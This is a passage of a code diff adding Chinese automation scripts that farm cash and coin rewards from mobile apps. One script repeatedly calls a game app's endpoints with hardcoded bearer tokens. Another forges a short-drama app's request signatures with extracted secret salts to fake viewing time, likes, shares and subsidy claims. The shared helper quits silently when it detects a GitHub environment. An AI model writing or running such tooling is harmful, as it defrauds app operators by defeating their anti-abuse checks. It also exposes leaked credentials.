// 1684132444, 1684132620, 1684132565,
|
||||
// 1684132510, 1651366202, 1661473785,
|
||||
// 1661472999, 1679039978, 1679040349,
|
||||
// 1679040576, 1658733397, 1656911476,
|
||||
// 1657181681, 1684132893, 1684132735,
|
||||
// 1684132789]
|
||||
|
||||
// ; (async () => {
|
||||
// for (let i = 0; i < arr.length; i++) {
|
||||
// await runOne(arr[i])
|
||||
// }
|
||||
// })()
|
||||
|
||||
// 李院士分享养生神器-太极玉枕
|
||||
// 登录成功!昵称:木之心 答题期数:121 累计获得红包:85.46元
|
||||
// 木之心:答题成功,获得红包:0.42元
|
||||
// 听故事还能得红包 赶快单击收听
|
||||
|
||||
|
||||
|
||||
|
||||
function Env(t, e) {
|
||||
"undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0);
|
||||
|
||||
class s {
|
||||
constructor(t) {
|
||||
this.env = t
|
||||
}
|
||||
|
||||
send(t, e = "GET") {
|
||||
t = "string" == typeof t ? {
|
||||
url: t
|
||||
} : t;
|
||||
let s = this.get;
|
||||
return "POST" === e && (s = this.post), new Promise((e, i) => {
|
||||
s.call(this, t, (t, s, r) => {
|
||||
t ? i(t) : e(s)
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
get(t) {
|
||||
return this.send.call(this.env, t)
|
||||
}
|
||||
|
||||
post(t) {
|
||||
return this.send.call(this.env, t, "POST")
|
||||
}
|
||||
}
|
||||
|
||||
return new class {
|
||||
constructor(t, e) {
|
||||
this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)
|
||||
}
|
||||
|
||||
isNode() {
|
||||
return "undefined" != typeof module && !!module.exports
|
||||
}
|
||||
|
||||
isQuanX() {
|
||||
return "undefined" != typeof $task
|
||||
}
|
||||
|
||||
isSurge() {
|
||||
return "undefined" != typeof $httpClient && "undefined" == typeof $loon
|
||||
}
|
||||
|
||||
isLoon() {
|
||||
return "undefined" != typeof $loon
|
||||
}
|
||||
|
||||
toObj(t, e = null) {
|
||||
try {
|
||||
return JSON.parse(t)
|
||||
} catch {
|
||||
return e
|
||||
}
|
||||
}
|
||||
|
||||
toStr(t, e = null) {
|
||||
try {
|
||||
return JSON.stringify(t)
|
||||
} catch {
|
||||
return e
|
||||
}
|
||||
}
|
||||
|
||||
getjson(t, e) {
|
||||
let s = e;
|
||||
const i = this.getdata(t);
|
||||
if (i) try {
|
||||
s = JSON.parse(this.getdata(t))
|
||||
} catch {
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
setjson(t, e) {
|
||||
try {
|
||||
return this.setdata(JSON.stringify(t), e)
|
||||
} catch {
|
||||
return !1
|
||||
}
|
||||
}
|
||||
|
||||
getScript(t) {
|
||||
return new Promise(e => {
|
||||
this.get({
|
||||
url: t
|
||||
}, (t, s, i) => e(i))
|
||||
})
|
||||
}
|
||||
|
||||
runScript(t, e) {
|
||||
return new Promise(s => {
|
||||
let i = this.getdata("@chavy_boxjs_userCfgs.httpapi");
|
||||
i = i ? i.replace(/\n/g, "").trim() : i;
|
||||
let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");
|
||||
r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r;
|
||||
const [o, h] = i.split("@"), n = {
|
||||
url: `http://${h}/v1/scripting/evaluate`,
|
||||
body: {
|
||||
script_text: t,
|
||||
mock_type: "cron",
|
||||
timeout: r
|
||||
},
|
||||
headers: {
|
||||
"X-Key": o,
|
||||
Accept: "*/*"
|
||||
}
|
||||
};
|
||||
this.post(n, (t, e, i) => s(i))
|
||||
}).catch(t => this.logErr(t))
|
||||
}
|
||||
|
||||
loaddata() {
|
||||
if (!this.isNode()) return {};
|
||||
{
|
||||
this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path");
|
||||
const t = this.path.resolve(this.dataFile),
|
||||
e = this.path.resolve(process.cwd(), this.dataFile),
|
||||
s = this.fs.existsSync(t),
|
||||
i = !s && this.fs.existsSync(e);
|
||||
if (!s && !i) return {};
|
||||
{
|
||||
const i = s ? t : e;
|
||||
try {
|
||||
return JSON.parse(this.fs.readFileSync(i))
|
||||
} catch (t) {
|
||||
return {}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
writedata() {
|
||||
if (this.isNode()) {
|
||||
this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path");
|
||||
const t = this.path.resolve(this.dataFile),
|
||||
e = this.path.resolve(process.cwd(), this.dataFile),
|
||||
s = this.fs.existsSync(t),
|
||||
i = !s && this.fs.existsSync(e),
|
||||
r = JSON.stringify(this.data);
|
||||
s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r)
|
||||
}
|
||||
}
|
||||
|
||||
lodash_get(t, e, s) {
|
||||
const i = e.replace(/\[(\d+)\]/g, ".$1").split(".");
|
||||
let r = t;
|
||||
for (const t of i)
|
||||
if (r = Object(r)[t], void 0 === r) return s;
|
||||
return r
|
||||
}
|
||||
|
||||
lodash_set(t, e, s) {
|
||||
return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)
|
||||
}
|
||||
|
||||
getdata(t) {
|
||||
let e = this.getval(t);
|
||||
if (/^@/.test(t)) {
|
||||
const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : "";
|
||||
if (r) try {
|
||||
const t = JSON.parse(r);
|
||||
e = t ? this.lodash_get(t, i, "") : e
|
||||
} catch (t) {
|
||||
e = ""
|
||||
}
|
||||
}
|
||||
return e
|
||||
}
|
||||
|
||||
setdata(t, e) {
|
||||
let s = !1;
|
||||
if (/^@/.test(e)) {
|
||||
const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i),
|
||||
h = i ? "null" === o ? null : o || "{}" : "{}";
|
||||
try {
|
||||
const e = JSON.parse(h);
|
||||
this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i)
|
||||
} catch (e) {
|
||||
const o = {};
|
||||
this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i)
|
||||
}
|
||||
} else s = this.setval(t, e);
|
||||
return s
|
||||
}
|
||||
|
||||
getval(t) {
|
||||
return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null
|
||||
}
|
||||
|
||||
setval(t, e) {
|
||||
return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null
|
||||
}
|
||||
|
||||
initGotEnv(t) {
|
||||
this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))
|
||||
}
|
||||
|
||||
get(t, e = (() => {
|
||||
})) {
|
||||
t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {
|
||||
"X-Surge-Skip-Scripting": !1
|
||||
})), $httpClient.get(t, (t, s, i) => {
|
||||
!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)
|
||||
})) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {
|
||||
hints: !1
|
||||
})), $task.fetch(t).then(t => {
|
||||
const {
|
||||
statusCode: s,
|
||||
statusCode: i,
|
||||
headers: r,
|
||||
body: o
|
||||
} = t;
|
||||
e(null, {
|
||||
status: s,
|
||||
statusCode: i,
|
||||
headers: r,
|
||||
body: o
|
||||
}, o)
|
||||
}, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => {
|
||||
try {
|
||||
if (t.headers["set-cookie"]) {
|
||||
const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();
|
||||
s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar
|
||||
}
|
||||
} catch (t) {
|
||||
this.logErr(t)
|
||||
}
|
||||
}).then(t => {
|
||||
const {
|
||||
statusCode: s,
|
||||
statusCode: i,
|
||||
headers: r,
|
||||
body: o
|
||||
} = t;
|
||||
e(null, {
|
||||
status: s,
|
||||
statusCode: i,
|
||||
headers: r,
|
||||
body: o
|
||||
}, o)
|
||||
}, t => {
|
||||
const {
|
||||
message: s,
|
||||
response: i
|
||||
} = t;
|
||||
e(s, i, i && i.body)
|
||||
}))
|
||||
}
|
||||
|
||||
post(t, e = (() => {
|
||||
})) {
|
||||
if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {
|
||||
"X-Surge-Skip-Scripting": !1
|
||||
})), $httpClient.post(t, (t, s, i) => {
|
||||
!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)
|
||||
});
|
||||
else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {
|
||||
hints: !1
|
||||
})), $task.fetch(t).then(t => {
|
||||
const {
|
||||
statusCode: s,
|
||||
statusCode: i,
|
||||
headers: r,
|
||||
body: o
|
||||
} = t;
|
||||
e(null, {
|
||||
status: s,
|
||||
statusCode: i,
|
||||
headers: r,
|
||||
body: o
|
||||
}, o)
|
||||
}, t => e(t));
|
||||
else if (this.isNode()) {
|
||||
this.initGotEnv(t);
|
||||
const {
|
||||
url: s,
|
||||
...i
|
||||
} = t;
|
||||
this.got.post(s, i).then(t => {
|
||||
const {
|
||||
statusCode: s,
|
||||
statusCode: i,
|
||||
headers: r,
|
||||
body: o
|
||||
} = t;
|
||||
e(null, {
|
||||
status: s,
|
||||
statusCode: i,
|
||||
headers: r,
|
||||
body: o
|
||||
}, o)
|
||||
}, t => {
|
||||
const {
|
||||
message: s,
|
||||
response: i
|
||||
} = t;
|
||||
e(s, i, i && i.body)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
time(t, e = null) {
|
||||
const s = e ? new Date(e) : new Date;
|
||||
let i = {
|
||||
"M+": s.getMonth() + 1,
|
||||
"d+": s.getDate(),
|
||||
"H+": s.getHours(),
|
||||
"m+": s.getMinutes(),
|
||||
"s+": s.getSeconds(),
|
||||
"q+": Math.floor((s.getMonth() + 3) / 3),
|
||||
S: s.getMilliseconds()
|
||||
};
|
||||
/(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length)));
|
||||
for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length)));
|
||||
return t
|
||||
}
|
||||
|
||||
msg(e = t, s = "", i = "", r) {
|
||||
const o = t => {
|
||||
if (!t) return t;
|
||||
if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {
|
||||
"open-url": t
|
||||
} : this.isSurge() ? {
|
||||
url: t
|
||||
} : void 0;
|
||||
if ("object" == typeof t) {
|
||||
if (this.isLoon()) {
|
||||
let e = t.openUrl || t.url || t["open-url"],
|
||||
s = t.mediaUrl || t["media-url"];
|
||||
return {
|
||||
openUrl: e,
|
||||
mediaUrl: s
|
||||
}
|
||||
}
|
||||
if (this.isQuanX()) {
|
||||
let e = t["open-url"] || t.url || t.openUrl,
|
||||
s = t["media-url"] || t.mediaUrl;
|
||||
return {
|
||||
"open-url": e,
|
||||
"media-url": s
|
||||
}
|
||||
}
|
||||
if (this.isSurge()) {
|
||||
let e = t.url || t.openUrl || t["open-url"];
|
||||
return {
|
||||
url: e
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) {
|
||||
let t = ["", "==============📣系统通知📣=============="];
|
||||
t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t)
|
||||
}
|
||||
}
|
||||
|
||||
log(...t) {
|
||||
t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))
|
||||
}
|
||||
|
||||
logErr(t, e) {
|
||||
const s = !this.isSurge() && !this.isQuanX() && !this.isLoon();
|
||||
s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t)
|
||||
}
|
||||
|
||||
wait(t) {
|
||||
// console.log(`等待${t / 1000 / 60}分钟`);
|
||||
return new Promise(e => setTimeout(e, t))
|
||||
}
|
||||
|
||||
done(t = {}) {
|
||||
const e = (new Date).getTime(),
|
||||
s = (e - this.startTime) / 1e3;
|
||||
this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t)
|
||||
}
|
||||
}(t, e)
|
||||
}
|
||||
37
现金毛/宝藏森林.js
Normal file
37
现金毛/宝藏森林.js
Normal file
@@ -0,0 +1,37 @@
|
||||
var token="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ3ZWJtYW4ub3JhbmdlRmFuLmNuIiwiYXVkIjoid2VibWFuLm9yYW5nZUZhbi5jbiIsImlhdCI6MTc1MjY2MzMxOSwibmJmIjoxNzUyNjYzMzE5LCJleHAiOjE3NTI5MjI1MTksImV4dGVuZCI6eyJpZCI6MTA1MTgsImNsaWVudCI6Ik1PQklMRSIsImludml0ZV9jb2RlIjoiNTgwMjc5NSJ9fQ.MCOySWt1SsajNQXLfSqJioWohqgNvTTUfitJet8d74c"
|
||||
while (true) {
|
||||
var temp = http.postJson("https://app.hzp4687.com/app/fighting/attack", {}, {
|
||||
"headers": {
|
||||
"Accept-Encoding": "identity",
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": "Bearer "+token,//eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ3ZWJtYW4ub3JhbmdlRmFuLmNuIiwiYXVkIjoid2VibWFuLm9yYW5nZUZhbi5jbiIsImlhdCI6MTc1MjY2Mjg3NCwibmJmIjoxNzUyNjYyODc0LCJleHAiOjE3NTI5MjIwNzQsImV4dGVuZCI6eyJpZCI6MTA1MTgsImNsaWVudCI6Ik1PQklMRSIsImludml0ZV9jb2RlIjoiNTgwMjc5NSJ9fQ.re6oxabhegRMSOdGyGcKy8PWx0xJHYGPYwX2EXgE8jw", //"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ3ZWJtYW4ub3JhbmdlRmFuLmNuIiwiYXVkIjoid2VibWFuLm9yYW5nZUZhbi5jbiIsImlhdCI6MTc1MjY2MjQ4NCwibmJmIjoxNzUyNjYyNDg0LCJleHAiOjE3NTI5MjE2ODQsImV4dGVuZCI6eyJpZCI6MTA1MTgsImNsaWVudCI6Ik1PQklMRSIsImludml0ZV9jb2RlIjoiNTgwMjc5NSJ9fQ.MwA1ty3JqI1McbiwUnZ0pLQ2wRMCcE2qY1NPvJo__XE", //"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ3ZWJtYW4ub3JhbmdlRmFuLmNuIiwiYXVkIjoid2VibWFuLm9yYW5nZUZhbi5jbiIsImlhdCI6MTc1MjY2MTcyMSwibmJmIjoxNzUyNjYxNzIxLCJleHAiOjE3NTI5MjA5MjEsImV4dGVuZCI6eyJpZCI6MTA1MTgsImNsaWVudCI6Ik1PQklMRSIsImludml0ZV9jb2RlIjoiNTgwMjc5NSJ9fQ.VCc7DMDC68jafx0jxSDqexo1s1kaodXzWlMCkfjONyg",
|
||||
"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 12; PDYT20 Build/SP1A.210812.016)",
|
||||
"Host": "app.hzp4687.com",
|
||||
"Connection": "Keep-Alive",
|
||||
"Content-Length": "2"
|
||||
}
|
||||
}).body.json();
|
||||
if (temp.code == 200) {
|
||||
log("打怪成功获得金币 >>> " + temp.data.reward_props[0].num + "|金币余额 >>> " + temp.data.after_props[0].num);
|
||||
} else {
|
||||
log("没体力了观看视频补充体力")
|
||||
var temp = http.postJson("https://app.hzp4687.com/app/player/recover_sta", {}, {
|
||||
"headers": {
|
||||
"Accept-Encoding": "identity",
|
||||
"Content-Type": "application/json",
|
||||
"Authorization":"Bearer "+token,//eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ3ZWJtYW4ub3JhbmdlRmFuLmNuIiwiYXVkIjoid2VibWFuLm9yYW5nZUZhbi5jbiIsImlhdCI6MTc1MjY2Mjg3NCwibmJmIjoxNzUyNjYyODc0LCJleHAiOjE3NTI5MjIwNzQsImV4dGVuZCI6eyJpZCI6MTA1MTgsImNsaWVudCI6Ik1PQklMRSIsImludml0ZV9jb2RlIjoiNTgwMjc5NSJ9fQ.re6oxabhegRMSOdGyGcKy8PWx0xJHYGPYwX2EXgE8jw", //"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJ3ZWJtYW4ub3JhbmdlRmFuLmNuIiwiYXVkIjoid2VibWFuLm9yYW5nZUZhbi5jbiIsImlhdCI6MTc1MjY2MjQ4NCwibmJmIjoxNzUyNjYyNDg0LCJleHAiOjE3NTI5MjE2ODQsImV4dGVuZCI6eyJpZCI6MTA1MTgsImNsaWVudCI6Ik1PQklMRSIsImludml0ZV9jb2RlIjoiNTgwMjc5NSJ9fQ.MwA1ty3JqI1McbiwUnZ0pLQ2wRMCcE2qY1NPvJo__XE",
|
||||
"User-Agent": "Dalvik/2.1.0 (Linux; U; Android 12; PDYT20 Build/SP1A.210812.016)",
|
||||
"Host": "app.hzp4687.com",
|
||||
"Connection": "Keep-Alive",
|
||||
"Content-Length": "2"
|
||||
}
|
||||
}).body.json();
|
||||
if (temp.code == 200) {
|
||||
log("观看视频成功获得体力 >>> " + temp.data.sta);
|
||||
} else {
|
||||
log(temp.msg)
|
||||
break;
|
||||
}
|
||||
}
|
||||
sleep(1000)
|
||||
}
|
||||
396
现金毛/富豪短剧.js
Normal file
396
现金毛/富豪短剧.js
Normal file
@@ -0,0 +1,396 @@
|
||||
/**
|
||||
* create: 2025/07/11
|
||||
* author: 问情,Q群:960690899
|
||||
* description: 应用商店下载富豪免费剧场,抓包Hearders的token值,签到、新手红包、新手看15分钟没写,需要自行添加
|
||||
* test: 青龙2.19.2
|
||||
* 环境变量:wqwl_fhdj,多个换行或者新建多个
|
||||
* 免责声明:本脚本仅用于学习,请勿用于商业用途,否则后果自负,请在下载24小时之内删除,否则请自行承担。有问题自行解决。
|
||||
* 注:本脚本大多数代码均为ai写。
|
||||
*/
|
||||
|
||||
const axios = require('axios');
|
||||
|
||||
const crypto = require("crypto")
|
||||
let index = 0;
|
||||
const BASE_URL = 'https://app.whhxtc.ltd'
|
||||
|
||||
class Task {
|
||||
constructor(cookie) {
|
||||
this.index = index++;
|
||||
this.cookie = cookie;
|
||||
this.init()
|
||||
|
||||
}
|
||||
init() {
|
||||
this.iTag = this.randomITag(Date.now());
|
||||
this.headers = {
|
||||
'User-Agent': 'okhttp/4.9.0',
|
||||
'Connection': 'Keep-Alive',
|
||||
'Accept-Encoding': 'gzip',
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'iTag': this.iTag,
|
||||
'path': '',
|
||||
'checksum': '',
|
||||
'Sign': '',
|
||||
'source': 'Android',
|
||||
'X-SCDN-Req-Token': '',
|
||||
'Timestamp': '',
|
||||
'version': '1.1.3',
|
||||
'seqID': '',
|
||||
'token': this.cookie
|
||||
}
|
||||
}
|
||||
randomITag(j) {
|
||||
const randomDigits = new Set();
|
||||
while (randomDigits.size < 4) {
|
||||
const digit = Math.floor(Math.random() * 10); // 0 ~ 9
|
||||
randomDigits.add(digit);
|
||||
}
|
||||
const digitsStr = [...randomDigits].join('');
|
||||
const result = j.toString() + digitsStr;
|
||||
return result;
|
||||
}
|
||||
getXSCDNReqToken(timestamp, path, random) {
|
||||
random = random || this.randomString();
|
||||
const sign = crypto.createHash('md5').update(`${timestamp}${random}7a21c2347f14aecea9f42846fcb83a04${path}`).digest('hex');
|
||||
// console.log(`${timestamp}|${random}|${sign}}`);
|
||||
return `${timestamp}|${random}|${sign}`
|
||||
}
|
||||
getSign(j) {
|
||||
const valueOf = (BigInt(j) * BigInt(3)).toString();
|
||||
let stringBuilder = [];
|
||||
for (let i = 0; i < valueOf.length; i++) {
|
||||
if (i % 2 !== 0) {
|
||||
stringBuilder.push(valueOf[i]);
|
||||
}
|
||||
}
|
||||
stringBuilder.push(valueOf.slice(-3));
|
||||
return stringBuilder.join('').split('').reverse().join('');
|
||||
}
|
||||
getChecksum(timeStamp, params) {
|
||||
//console.log(timeStamp, params);
|
||||
const checksum = crypto.createHash('md5').update(`${timeStamp}${params}NS2pzOy3x5iXkW96zd73dfXdG7DM9vb86esS7Kws`).digest('hex');
|
||||
//console.log(checksum);
|
||||
return checksum;
|
||||
}
|
||||
|
||||
getParams(data) {
|
||||
const sortedKeys = Object.keys(data).sort();
|
||||
const result = sortedKeys.map(key => data[key]).join('');
|
||||
return result;
|
||||
}
|
||||
randomString(length = 12) {
|
||||
const characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
|
||||
let result = '';
|
||||
const charactersLength = characters.length;
|
||||
for (let i = 0; i < length; i++) {
|
||||
result += characters.charAt(Math.floor(Math.random() * charactersLength));
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
//添加观看时间
|
||||
async play(times = 30, path = '/yk/drama/play') {
|
||||
const url = `${BASE_URL}${path}`
|
||||
const data = {
|
||||
"episodeId": this.getRandomInt(1000, 5000),
|
||||
"second": this.randomTime(times),
|
||||
"path": path,
|
||||
"equipment": "android"
|
||||
}
|
||||
this.headers['path'] = path
|
||||
const randomShare = this.getRandomInt(0, 29)
|
||||
const randomFavorite = this.getRandomInt(0, 29)
|
||||
const likesIndex = this.randomLikesIndex()
|
||||
let j = 0
|
||||
for (let i = 0; i < 30; i++) {
|
||||
try {
|
||||
if (i % 3 === 0)
|
||||
data['episodeId'] += 1
|
||||
if (i === randomShare) {
|
||||
const shareData = await this.share()
|
||||
this.sendMessage(`🔔分享结果:${JSON.stringify(shareData)}`)
|
||||
}
|
||||
if (i === randomFavorite) {
|
||||
const favoriteData = await this.favorite()
|
||||
this.sendMessage(`🔔收藏结果:${JSON.stringify(favoriteData)}`)
|
||||
}
|
||||
const timestamp = Date.now()
|
||||
const timestamp2 = Math.floor(timestamp / 1000)
|
||||
this.headers['X-SCDN-Req-Token'] = this.getXSCDNReqToken(timestamp2, url)
|
||||
this.headers['checksum'] = this.getChecksum(timestamp, this.getParams(data));
|
||||
this.headers['Timestamp'] = timestamp
|
||||
this.headers['seqID'] = timestamp
|
||||
this.headers['Sign'] = this.getSign(timestamp)
|
||||
const config = {
|
||||
url: url,
|
||||
method: 'POST',
|
||||
headers: this.headers,
|
||||
data: data
|
||||
}
|
||||
const res = await axios(config)
|
||||
this.sendMessage(`📺第${i + 1}次模拟观看结果:${JSON.stringify(res.data)}`)
|
||||
if (likesIndex.includes(i)) {
|
||||
const likesResult = await this.likes(data['episodeId'])
|
||||
this.sendMessage(`💖第${(j++) + 1}次视频点赞结果:${JSON.stringify(likesResult)}`)
|
||||
data['episodeId'] += 1
|
||||
}
|
||||
const playSleep = this.getRandomInt(4, 16)
|
||||
await this.sleep(playSleep * 1000)
|
||||
} catch (error) {
|
||||
this.sendMessage(`第${i + 1}次模拟观看出错:${error}`)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
randomLikesIndex() {
|
||||
let data = []
|
||||
while (data.length < 3) {
|
||||
const temp = this.getRandomInt(0, 29)
|
||||
if (!data.includes(temp))
|
||||
data.push(temp)
|
||||
}
|
||||
return data
|
||||
}
|
||||
//点赞
|
||||
async likes(episodeId, path = '/yk/drama/likes') {
|
||||
try {
|
||||
const url = `${BASE_URL}${path}`
|
||||
episodeId = episodeId || this.getRandomInt(1000, 5000)
|
||||
const data = {
|
||||
"episodeId": episodeId,
|
||||
"path": path,
|
||||
"equipment": "android"
|
||||
}
|
||||
this.headers['path'] = path
|
||||
const timestamp = Date.now()
|
||||
const timestamp2 = Math.floor(timestamp / 1000)
|
||||
this.headers['X-SCDN-Req-Token'] = this.getXSCDNReqToken(timestamp2, url)
|
||||
this.headers['checksum'] = this.getChecksum(timestamp, this.getParams(data));
|
||||
this.headers['Timestamp'] = timestamp
|
||||
this.headers['seqID'] = timestamp
|
||||
this.headers['Sign'] = this.getSign(timestamp)
|
||||
const config = {
|
||||
url: url,
|
||||
method: 'POST',
|
||||
headers: this.headers,
|
||||
data: data
|
||||
}
|
||||
const res = await axios(config)
|
||||
return res.data
|
||||
} catch (e) {
|
||||
throw `点赞出错了,${e}`
|
||||
}
|
||||
}
|
||||
|
||||
//分享
|
||||
async share(path = '/yk/task/share') {
|
||||
try {
|
||||
const url = `${BASE_URL}${path}`
|
||||
const data = {
|
||||
"path": path,
|
||||
"equipment": "android"
|
||||
}
|
||||
this.headers['path'] = path
|
||||
const timestamp = Date.now()
|
||||
const timestamp2 = Math.floor(timestamp / 1000)
|
||||
this.headers['X-SCDN-Req-Token'] = this.getXSCDNReqToken(timestamp2, url)
|
||||
this.headers['checksum'] = this.getChecksum(timestamp, this.getParams(data));
|
||||
this.headers['Timestamp'] = timestamp
|
||||
this.headers['seqID'] = timestamp
|
||||
this.headers['Sign'] = this.getSign(timestamp)
|
||||
const config = {
|
||||
url: url,
|
||||
method: 'POST',
|
||||
headers: this.headers,
|
||||
data: data
|
||||
}
|
||||
const res = await axios(config)
|
||||
return res.data
|
||||
} catch (e) {
|
||||
throw `分享出错了,${e}`
|
||||
}
|
||||
}
|
||||
|
||||
//收藏
|
||||
async favorite(episodeId, path = '/yk/drama/favorite') {
|
||||
try {
|
||||
const url = `${BASE_URL}${path}`
|
||||
episodeId = episodeId || this.getRandomInt(1000, 5000)
|
||||
const data = {
|
||||
"episodeId": episodeId,
|
||||
"path": path,
|
||||
"equipment": "android"
|
||||
}
|
||||
this.headers['path'] = path
|
||||
const timestamp = Date.now()
|
||||
const timestamp2 = Math.floor(timestamp / 1000)
|
||||
this.headers['X-SCDN-Req-Token'] = this.getXSCDNReqToken(timestamp2, url)
|
||||
this.headers['checksum'] = this.getChecksum(timestamp, this.getParams(data));
|
||||
this.headers['Timestamp'] = timestamp
|
||||
this.headers['seqID'] = timestamp
|
||||
this.headers['Sign'] = this.getSign(timestamp)
|
||||
const config = {
|
||||
url: url,
|
||||
method: 'POST',
|
||||
headers: this.headers,
|
||||
data: data
|
||||
}
|
||||
const res = await axios(config)
|
||||
return res.data
|
||||
} catch (e) {
|
||||
throw `点赞出错了,${e}`
|
||||
}
|
||||
}
|
||||
|
||||
//饭补0.30-8.30 ,11.30-12.30,17.30-18.30,22.30-23.30
|
||||
async diningCheckIn(path = '/yk/task/diningCheckIn') {
|
||||
try {
|
||||
const url = `${BASE_URL}${path}`
|
||||
const data = {
|
||||
"path": path,
|
||||
"equipment": "android"
|
||||
}
|
||||
this.headers['path'] = path
|
||||
const timestamp = Date.now()
|
||||
const timestamp2 = Math.floor(timestamp / 1000)
|
||||
this.headers['X-SCDN-Req-Token'] = this.getXSCDNReqToken(timestamp2, url)
|
||||
this.headers['checksum'] = this.getChecksum(timestamp, this.getParams(data));
|
||||
this.headers['Timestamp'] = timestamp
|
||||
this.headers['seqID'] = timestamp
|
||||
this.headers['Sign'] = this.getSign(timestamp)
|
||||
const config = {
|
||||
url: url,
|
||||
method: 'POST',
|
||||
headers: this.headers,
|
||||
data: data
|
||||
}
|
||||
const res = await axios(config)
|
||||
this.sendMessage(`🍚饭补领取结果:${JSON.stringify(res.data)}`)
|
||||
} catch (e) {
|
||||
throw `获取饭补出错了,${e}`
|
||||
}
|
||||
}
|
||||
|
||||
async query() {
|
||||
try {
|
||||
const data1 = await this.accountBalance(7)
|
||||
const data2 = await this.accountBalance(8)
|
||||
if (data1 && data2) {
|
||||
let result = ''
|
||||
result += `🪙${data1.data.name}:${data1.data.quantity}`
|
||||
result += `\n🪙${data2.data.name}:${data2.data.quantity}`
|
||||
this.sendMessage(`查询结果:\n ${result}`)
|
||||
} else {
|
||||
this.sendMessage(`🪙$查询结果:\n 获取数据失败`)
|
||||
}
|
||||
} catch (e) {
|
||||
throw `查询账号出错了,${e}`
|
||||
}
|
||||
}
|
||||
|
||||
async accountBalance(accountType = "7", path = '/yk/user/accountBalance') {
|
||||
try {
|
||||
const url = `${BASE_URL}${path}`
|
||||
const data = {
|
||||
"accountType": accountType,
|
||||
"path": "/user/accountBalance",
|
||||
"equipment": "android"
|
||||
}
|
||||
this.headers['path'] = path
|
||||
